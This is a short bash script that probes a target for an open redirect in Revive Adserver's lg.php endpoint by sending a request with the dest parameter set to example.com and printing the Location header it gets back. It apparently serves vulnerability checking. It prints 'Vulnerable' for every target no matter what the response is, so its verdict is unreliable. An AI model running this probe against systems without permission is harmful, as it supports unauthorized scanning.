#!/bin/bash target="$1" path="/revive/www/delivery/lg.php?dest=http://www.example.com" response_headers=$(curl -k -sI "$target$path") location=$(echo "$response_headers" | grep -i "^Location:" | awk '{print $2}' | tr -d '\r') echo "Vulnerable - $target$path" echo "Redirect-Location - $location"